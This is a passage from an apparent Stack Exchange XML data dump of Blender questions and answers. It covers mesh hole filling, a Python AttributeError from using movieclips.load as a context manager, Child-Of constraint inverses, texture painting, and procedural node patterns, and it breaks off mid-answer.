  <row Id="28852" PostTypeId="2" ParentId="28851" CreationDate="2015-04-23T15:02:17.453" Score="5" Body="&lt;p&gt;&lt;strong&gt;For a flat mesh:&lt;/strong&gt;&#xA;You can repair most issues like this by holding &lt;kbd&gt;Alt&lt;/kbd&gt; and then right-clicking on the boundary edge. Now the perimiter of the hole will be selected. Now press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;F&lt;/kbd&gt; &lt;em&gt;&gt; Grid Fill&lt;/em&gt;. If it is a space with only four vertices/edges, you can simply press &lt;kbd&gt;F&lt;/kbd&gt; to create the new face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pvnw7.gif&quot; alt=&quot;Repairing A Mesh&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For a curved mesh:&lt;/strong&gt; This is a little more complex, but still can be done. You will need to set the cursor position to the center of the curve/sphere. Now set the Pivot Point to 3D Cursor. You now are able to duplicate vertices on each loop and rotate them to the correct positions in the mesh. Simply select each quad of vertices and press &lt;kbd&gt;F&lt;/kbd&gt;. This is more tedious, but is still effective.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GO4LH.gif&quot; alt=&quot;Repairing a rounded mesh&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-04-23T15:09:00.807" LastActivityDate="2015-04-23T15:09:00.807" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="28853" PostTypeId="1" AcceptedAnswerId="28873" CreationDate="2015-04-23T15:30:23.283" Score="4" ViewCount="3914" Body="&lt;p&gt;I'm new to both python and scripting in Blender, so I am sure this is just my misunderstanding of how python and the Blender API work. I have no idea what this error means.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the full traceback for my error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;  File &quot;/clipImporter.py&quot;, line 103, in execute&#xA;  File &quot;/clipImporter.py&quot;, line 78, in scan_files&#xA;AttributeError: __exit__&#xA;&#xA;location: &amp;lt;unknown location&amp;gt;:-1&#xA;&#xA;location: &amp;lt;unknown location&amp;gt;:-1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So as the file name suggests, I am just making an importer to bring in clips, objects from libraries or whatever. I have a similar script working for .blend objects, but trying to do it with movie clips is giving me this error. So I have a suspicion that it is my misuse of datablocks. Here's some more relevant code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Function&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def scan_files(folderpath, datablock):&#xA;    exec(&quot;bpy.context.scene.&quot; + datablock + &quot;_directory_list.clear()&quot;)  &#xA;    exec(&quot;bpy.context.scene.&quot; + datablock + &quot;_directory_index = 0&quot;)  &#xA;&#xA;    folderpath = bpy.path.abspath(folderpath)&#xA;&#xA;    for file in os.listdir(folderpath):&#xA;        filepath = folderpath + &quot;\\&quot; + file&#xA;        with bpy.data.movieclips.load(filepath) as (data_from, data_to):  # this is line 78...I have a feeling it's movieclips.load&#xA;            for name in eval(&quot;data_from&quot; + datablock):&#xA;                my_item = eval(&quot;bpy.context.scene&quot; + datablock + &quot;_directory_list.add()&quot;)&#xA;                my_item.name = name  # these two correspond to custom props group&#xA;                my_item.file = file&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Class&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def execute(self, context):&#xA;        if bpy.context.scene.dir_clip:&#xA;            if context.scene.folderpath_clip:&#xA;                scan_files(context.scene.folderpath_clip, &quot;clip&quot;)  #this is line 103&#xA;&#xA;        return{'FINISHED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've been hacking and slashing &lt;a href=&quot;http://vincentgires.com/tools/blender/addons/blend_library/v032/blend_library.py&quot; rel=&quot;nofollow&quot;&gt;this guy's script&lt;/a&gt; to do what I want if you want to see his logic behind his importing. The scan files function is scanning a directory and loading available options to import. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need the whole script let me know and I'll do a pasteall, though I'm sure I could probably solve the error if I even knew what &lt;code&gt;AttributeError: __exit__&lt;/code&gt; actually meant. I do come from a bit of a C# background, so an explanation paralleled to that would be fabulous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks lovely people! &lt;/p&gt;&#xA;" OwnerUserId="13721" LastActivityDate="2015-04-24T16:49:55.860" Title="AttributeError: __exit__ error on custom operator" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28854" PostTypeId="2" ParentId="28849" CreationDate="2015-04-23T15:36:39.123" Score="8" Body="&lt;p&gt;The emphasis of Blender development is Artistic, and not high precision modelling like is expected from dedicated CAD/Engineering software. This doesn't mean you can't model or represent big things, but it does mean that you are limited to a level of precision in one mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get an idea about precision read Ideasman42's response to &lt;a href=&quot;https://blender.stackexchange.com/questions/3168/digits-of-precision-of-vertices-coordinates&quot;&gt;Digits of precision of vertices coordinates&lt;/a&gt; . The technical answer to your question can be found in this response.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Another resource which can really give a sense of the relative scales we're talking about is Alex Januszkiewicz's Article On AutoCad Accuracy. An excerpt:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you try to do a drawing that extends 4 km in each direction, Microstation's 32 bit format will limit your accuracy to 0.001 mm. The same size AutoCAD drawing can be drawn with an accuracy of 0.000000001 mm, that is one million times more accurate.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This refers to 32 bit Single Precision (Blender uses this) vs AutoCAD's 64 bit Double Precision storage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.oocities.org/wpsmoke/accuracy/accuracy.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;The link&lt;/a&gt; for that text may not be available permanently, but if you google  &quot;Alex Januszkiewicz AutoCAD accuracy&quot; you will find it.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2015-04-23T16:39:50.987" CommentCount="0" CommunityOwnedDate="2015-04-23T15:36:39.123" ContentLicense="CC BY-SA 3.0" />
  <row Id="28855" PostTypeId="1" AcceptedAnswerId="46828" CreationDate="2015-04-23T15:46:28.030" Score="1" ViewCount="4277" Body="&lt;p&gt;I need to insert keyframe for the pose I have made in posemode. How can I do that? when I hit i it writes some error (keying set failed to set any keyframes or something like that)&lt;/p&gt;&#xA;" OwnerUserId="9588" LastActivityDate="2016-02-13T07:58:23.737" Title="how to insert keyframe for pose" Tags="&lt;animation&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28856" PostTypeId="2" ParentId="28803" CreationDate="2015-04-23T16:33:27.153" Score="0" Body="&lt;p&gt;I believe the disadvantage is that basically it converges faster than other light sources (such as glossy reflections and caustic refractions or MIS disabled light sources). What this will do is smooth out shadows MORE QUICKLY when it is enabled. If you want to capture the ultra-realistic shadow details than it is a good idea to turn MIS off.&lt;/p&gt;&#xA;" OwnerUserId="4960" LastActivityDate="2015-04-23T16:33:27.153" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28857" PostTypeId="1" CreationDate="2015-04-23T16:36:21.450" Score="3" ViewCount="3982" Body="&lt;p&gt;How can I change the texture to make it appear smaller on objects, or larger?&lt;/p&gt;&#xA;" OwnerUserId="9495" LastActivityDate="2015-04-23T19:52:01.177" Title="How to scale a texture so it appears smaller or larger on an object, during texture painting?" Tags="&lt;texturing&gt;" AnswerCount="1" CommentCount="4" ClosedDate="2015-04-23T19:46:48.427" ContentLicense="CC BY-SA 3.0" />
  <row Id="28858" PostTypeId="2" ParentId="28171" CreationDate="2015-04-23T17:14:47.000" Score="2" Body="&lt;p&gt;When exporting to stl format in blender make sure to select your objects, or it will export an empty object instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The .stl file on windows system will be recognized as a &quot;Certificate Trust List&quot; so instead of double click to open it , &lt;kbd&gt;RMB&lt;/kbd&gt; and choose open with then your software &lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-04-23T17:14:47.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28859" PostTypeId="1" CreationDate="2015-04-23T17:51:55.223" Score="1" ViewCount="673" Body="&lt;p&gt;So, when I have an object that is a child of another object using the Child-Of constraint, there is this thing that I don't entirely understand: inverse. The little button that says &quot;set inverse&quot; and &quot;clear inverse,&quot; they aren't at all self explanatory. So my biggest question is, when I have a character that is holding an object, and I want to set the object down on a table for instance, how do I break the constraint (via &quot;influence&quot; parameter) and have the object with the constraint stay in the &lt;b&gt;exact&lt;/b&gt; same position? Touch the influence parameter and it goes to some irrelevant location nearby. That's not very useful, is it. This inverse thing appears to screw a lot of things up.&lt;/p&gt;&#xA;" OwnerUserId="10911" LastActivityDate="2017-12-10T16:18:58.457" Title="Constraints and Inverse - Needs Some Explaining" Tags="&lt;constraints&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28860" PostTypeId="2" ParentId="28859" CreationDate="2015-04-23T18:05:52.480" Score="3" Body="&lt;p&gt;If you use set inverse:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the object get parented as it is&lt;/li&gt;&#xA;&lt;li&gt;the child won't be affected by the initial transformation of the parent&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you use clear inverse:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the parent transformations get cleared (momentarily)&lt;/li&gt;&#xA;&lt;li&gt;the object get parented &lt;/li&gt;&#xA;&lt;li&gt;the transformation of the parent get is restored (as if you have parented then transformed the parent which will effect the child)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;all this is just setting the matrix that relates the child to the world space&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To keep the object transformation inherited from the parent, apply the visual transformation and set the influence to 0 (or remove the constraint).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt; two cubes one at the center (will be used as parent) &lt;br&gt;&#xA;&lt;strong&gt;&lt;em&gt;initial state:&lt;/em&gt;&lt;/strong&gt; (no constraints yet ) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rDEzl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;the parent transformed:&lt;/em&gt;&lt;/strong&gt; (no constraints yet) the cube moved scaled and rotated&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iAvcw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;after this we add the child of constraint to the smaller cube&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;child of constraint with set inverse:&lt;/em&gt;&lt;/strong&gt; child is not affected by the parent initial transformation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wh7RP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;child of constraint with clear inverse:&lt;/em&gt;&lt;/strong&gt; child is affected by the parent initial transformation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jSTkY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="41126" LastEditDate="2017-12-10T16:18:58.457" LastActivityDate="2017-12-10T16:18:58.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28861" PostTypeId="1" CreationDate="2015-04-23T18:13:40.997" Score="1" ViewCount="41" Body="&lt;p&gt;How can I import a texture to no specific object? I need to use a texture on 8 objects. I have 8 blades and I downloaded a metal texture, and want to apply it to the 8 clones the same way each time.&lt;/p&gt;&#xA;" OwnerUserId="9495" LastActivityDate="2015-04-23T18:13:40.997" Title="how to import a texture for use on multiple items?" Tags="&lt;modeling&gt;&lt;texturing&gt;&lt;objects&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28862" PostTypeId="1" CreationDate="2015-04-23T18:20:22.160" Score="2" ViewCount="3717" Body="&lt;p&gt;I have been having an issue with my floor plane and object when using a solved camera after tracking some footage. I get a solve error of between 0.05 and 0.4 on my solves which is good and not the issue I've been having. However when I go to orient the camera I will snap it to an origin and adjust the scale. The plane and object are not aligned, but could be fixed if I could just rotate around them (much like in PF Track). I would think the pivot point for the camera, if I have it locked to view, would be the origin (where my plane and object are), but it seems to be just some arbitrary point out in space which makes manually fixing the alignment very difficult. I'm wondering if there is any way to fix this so the pivot point is in fact in the center, or if there are any other suggestions to go about this problem. &lt;/p&gt;&#xA;" OwnerUserId="13949" LastEditorDisplayName="user1853" LastEditDate="2016-02-15T01:01:38.980" LastActivityDate="2016-02-15T01:01:38.980" Title="How to align the camera in a solved motion tracked scene?" Tags="&lt;camera&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28863" PostTypeId="1" CreationDate="2015-04-23T18:33:46.987" Score="4" ViewCount="249" Body="&lt;p&gt;On my texture painting mode, when I assign the texture to paint, it just fills the object with the texture. How can I start with blank and paint the texture on?&lt;/p&gt;&#xA;" OwnerUserId="9495" LastActivityDate="2015-04-23T18:51:39.293" Title="How to start with nothing on texture, then paint texture on?" Tags="&lt;texturing&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28864" PostTypeId="2" ParentId="28863" CreationDate="2015-04-23T18:51:39.293" Score="5" Body="&lt;p&gt;To clear the texture open UV/Image editor, set &lt;strong&gt;Blend Type&lt;/strong&gt; to &lt;strong&gt;Erase Alpha&lt;/strong&gt; and &lt;strong&gt;Strength&lt;/strong&gt; to 1 and clear the image with the brush. Same can be done in 3D view paint mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fKely.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-04-23T18:51:39.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28867" PostTypeId="2" ParentId="28857" CreationDate="2015-04-23T19:46:32.727" Score="6" Body="&lt;p&gt;From the way your question is worded, I think you want to scale the UVmap in the image editor.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select your entire UVmap in the image editor, and scale it. a larger UV map will make the texture appear smaller and more repetitive, and a smaller UVmap will make the texture appear larger (and lower resolution) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gdtuJ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="5426" LastEditDate="2015-04-23T19:52:01.177" LastActivityDate="2015-04-23T19:52:01.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28868" PostTypeId="2" ParentId="28788" CreationDate="2015-04-23T20:05:37.643" Score="1" Body="&lt;p&gt;To fix the deformation when binding the mesh to armature you need to apply the pose to &lt;strong&gt;Rest position&lt;/strong&gt;. Change to &lt;strong&gt;Pose Mode&lt;/strong&gt;, then select all the bones and &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; shortcut and select &lt;strong&gt;Apply Pose as Rest Pose&lt;/strong&gt;. Then Change to Object Mode, select your mesh then the armature and parent with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt; shortcut.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g9AR4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-04-23T20:05:37.643" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28869" PostTypeId="1" AcceptedAnswerId="28877" CreationDate="2015-04-23T21:10:32.057" Score="12" ViewCount="5921" Body="&lt;p&gt;Is there a way to stop looping playback in the timeline? I want to avoid sending additional animation data from blender by stopping the animation at the end frame and in another case to prevent recording of animation from the end to start frame.&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-04-23T23:10:27.890" Title="How to disable loop playback of animation?" Tags="&lt;animation&gt;&lt;timeline&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28870" PostTypeId="2" ParentId="28838" CreationDate="2015-04-23T21:17:46.490" Score="14" Body="&#xA;&#xA;&lt;p&gt;Here are the nodes for creating staggered texture mapping for procedural textures.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/XC9fs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XC9fs.png&quot; alt=&quot;cycles nodes for the texture coordinates&quot;&gt;&lt;/a&gt;&#xA;First the Y axis gets multiplied by the number of lines you want to have in the pattern (the &lt;em&gt;Lines&lt;/em&gt; value node).  After adding &lt;code&gt;.5&lt;/code&gt; that gets rounded creating stripes (along the X axis in this example). &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you were to look at the output from that node at this point it would look all white, that is because the values start at 1 and increase by 1 with each stripe.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fYwFx.png&quot; alt=&quot;section of the cycles nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next three nodes take the stripes, multiplies it by the reciprocal of the input value (lines), then by &lt;code&gt;0.5&lt;/code&gt; to lower the values. Then the X axis is added in.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/cYnT0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cYnT0.png&quot; alt=&quot;section of the cycles nodes&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;At this point there are only stripes, next the &lt;em&gt;Modulo&lt;/em&gt; math node causes the texture coordinates to repeat.&lt;br&gt;&#xA;All that was for the X axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Y axis is simple, it is just the Modulo of the reciprocal of the &lt;em&gt;lines&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the nodes pictured at the top you can get a pattern like this.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/51b7w.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/51b7wm.jpg&quot; alt=&quot;generated procedural pattern&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After adding the &lt;em&gt;Subtract&lt;/em&gt; and &lt;em&gt;Absolute&lt;/em&gt; nodes from &lt;a href=&quot;https://blender.stackexchange.com/a/26703/2217&quot;&gt;Jerryno's answer&lt;/a&gt;,  every other tile will be mirrored and you can get a pattern like this.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/tIPSJ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tIPSJm.jpg&quot; alt=&quot;generated procedural pattern&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This blend has the nodes packed in to a node group, which can easily be added to any project.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/198/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blend File&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As you can see, manipulating the texture coordinates of generated textures is quite powerful.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2015-04-23T21:17:46.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28871" PostTypeId="1" CreationDate="2015-04-23T21:24:41.357" Score="2" ViewCount="506" Body="&lt;p&gt;I made 3D tracking, and imported it in Blender through maya.&#xA;Now I have a camera and a point cloud, which are very small. How to increase their size?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried parenting to empty (then scale this empty), but in this case, the camera immediately turns in the wrong direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to change the scale of the camera and point cloud, without re-importing them again?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I spent a long time with this scene and it is the only successful version of the 3D tracking, I am afraid that I will can not restore it, if I start from the beginning).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here is blender file.&lt;/strong&gt; &lt;a href=&quot;http://www.pasteall.org/blend/35762&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/35762&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There have already set the scene (with this addon - &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?279329-Copy-Particles-to-Rigid-Bodies&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?279329-Copy-Particles-to-Rigid-Bodies&lt;/a&gt; - thank TARDISMaker for link), in the middle of the scene there plain, and on it - a very small camera, point cloud, and a few cubes to test tracking.&lt;/p&gt;&#xA;" OwnerUserId="13487" LastEditorUserId="13487" LastEditDate="2015-04-24T21:25:31.203" LastActivityDate="2015-04-24T21:25:31.203" Title="How to increase the size of the camera and point cloud - 3d tracking" Tags="&lt;tracking&gt;" AnswerCount="0" CommentCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="28872" PostTypeId="1" CreationDate="2015-04-23T21:30:50.047" Score="3" ViewCount="1399" Body="&lt;p&gt;I wonder how to move bones in pose mode like as you would grab the tips in edit mode and move them but without scaling the bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried to set this up with damped track or ik rig. At both the target to follow which would imitate the tip/joint of the bone can be moved anywhere. It has to stick to the bone though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any techniques? &lt;/p&gt;&#xA;" OwnerUserId="11484" LastActivityDate="2015-04-23T21:30:50.047" Title="How to Move Bone Joints in Pose Mode like in Edit Mode? (without scaling)" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;bones&gt;&lt;constraints&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28873" PostTypeId="2" ParentId="28853" CreationDate="2015-04-23T21:31:54.410" Score="3" Body="&lt;p&gt;focus on the code around the error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;files = ['/home/zeffii/GL_fillet.mpeg', '/home/zeffii/GL_fillet2.mpeg']&#xA;&#xA;for filepath in files:&#xA;    with bpy.data.movieclips.load(filepath) as (data_from, data_to):&#xA;        print(data_from, data_to)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Even from that snippet I get &lt;code&gt;AttributeError: __exit__&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I may be wrong, but this suggests to me that there is no context manager (in the python sense, not in the bpy.context sense) to use &lt;code&gt;with x.y.z as (a, b)&lt;/code&gt; on the &lt;code&gt;bpy.data.movieclips.load()&lt;/code&gt; operator. Hence that error. The &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_release/bpy.types.BlendDataMovieClips.html?highlight=movieclips.load#bpy.types.BlendDataMovieClips.load&quot; rel=&quot;nofollow&quot;&gt;documentation confirms&lt;/a&gt; this. &lt;code&gt;movieclips.load()&lt;/code&gt; does return an object though!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just want to get stuff done, rewrite it so it doesn't use the &lt;code&gt;with x.y.z as (a,b)&lt;/code&gt; context, instead assign to the left.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;files = ['/home/zeffii/GL_fillet.mpeg', '/home/zeffii/GL_fillet2.mpeg']&#xA;&#xA;for filepath in files:&#xA;    clip = bpy.data.movieclips.load(filepath)&#xA;    # you know what you need here.&#xA;    print(clip.name)&#xA;    print(clip.size[:])&#xA;    print(clip.source)&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; GL_fillet.mpeg&#xA;&amp;gt;&amp;gt;&amp;gt; (1280, 720)&#xA;&amp;gt;&amp;gt;&amp;gt; MOVIE&#xA;&amp;gt;&amp;gt;&amp;gt; GL_fillet2.mpeg&#xA;&amp;gt;&amp;gt;&amp;gt; (1280, 720)&#xA;&amp;gt;&amp;gt;&amp;gt; MOVIE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Additionally, there's also a typo I think. The original code has &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for name in eval(&quot;data_from.&quot; + datablock):&#xA;    # blah..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you omit a necessary &lt;code&gt;.&lt;/code&gt; after &lt;code&gt;data_from.&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your &lt;code&gt;scan_files&lt;/code&gt; function for movie_clips might start to look something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def scan_files(folderpath, datablock):&#xA;    exec(&quot;bpy.context.scene.&quot; + datablock + &quot;_directory_list.clear()&quot;)  &#xA;    exec(&quot;bpy.context.scene.&quot; + datablock + &quot;_directory_index = 0&quot;)  &#xA;&#xA;    folderpath = bpy.path.abspath(folderpath)&#xA;&#xA;    for _file in os.listdir(folderpath):&#xA;        filepath = folderpath + &quot;\\&quot; + file&#xA;        clip = bpy.data.movieclips.load(filepath)&#xA;&#xA;        data_from = ...  # clip.name ?&#xA;        data_to = ... # clip.source ?&#xA;&#xA;        for name in eval(&quot;data_from.&quot; + datablock):&#xA;            my_item = eval(&quot;bpy.context.scene&quot; + datablock + &quot;_directory_list.add()&quot;)&#xA;            my_item.name = name  # these two correspond to custom props group&#xA;            my_item.file = _file&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Without seeing more of your code (got a github repository?) I'm not able to say more. Looks like an interesting project though.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-04-24T16:49:55.860" LastActivityDate="2015-04-24T16:49:55.860" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28874" PostTypeId="1" AcceptedAnswerId="28886" CreationDate="2015-04-23T22:00:09.707" Score="5" ViewCount="776" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pjf8M.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to create an opening on this sphere which I created by subdividing a cube 3 times. I want the edge of the upper part of the opening not to be curved as shown in the picture so I added a proximity loop. But this messes with the overall shape of the sphere. In the second sphere I moved the edge loop a bit but the problem is still there. How should I do this? If possible only with quads and without the crease tool. This is how the second sphere looks like: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fIyMH.png&quot; alt=&quot;awfaw&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4944" LastEditorUserId="4944" LastEditDate="2015-04-23T22:22:02.593" LastActivityDate="2015-06-25T03:51:54.430" Title="How to create a hard straight edge while keeping this sphere's shape?" Tags="&lt;modeling&gt;&lt;topology&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="28875" PostTypeId="2" ParentId="28442" CreationDate="2015-04-23T22:16:28.373" Score="8" Body="&lt;p&gt;For a script that only runs once, say a setup script, you can use an &lt;em&gt;Always&lt;/em&gt; Sensor without True level triggering (the buttons outlined in red in the image below). Doing so will unintuitively to the &lt;em&gt;Always Sensor's&lt;/em&gt; name will only run once.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/d5KLO.png&quot; alt=&quot;always sensor&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As for scripts where you only want a function to run once, but the rest constantly evaluated, I would highly recommend using The &lt;em&gt;Python&lt;/em&gt; Controller in &lt;em&gt;Module&lt;/em&gt; mode.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/IYLYw.png&quot; alt=&quot;Python Controller in Module mode&quot;&gt;&lt;br&gt;&#xA;The way it works is you pass in the name of your script (must have a &lt;code&gt;.py&lt;/code&gt;), then the name of the function. So in the picture my script is named &lt;code&gt;script.py&lt;/code&gt; and the function I am calling is 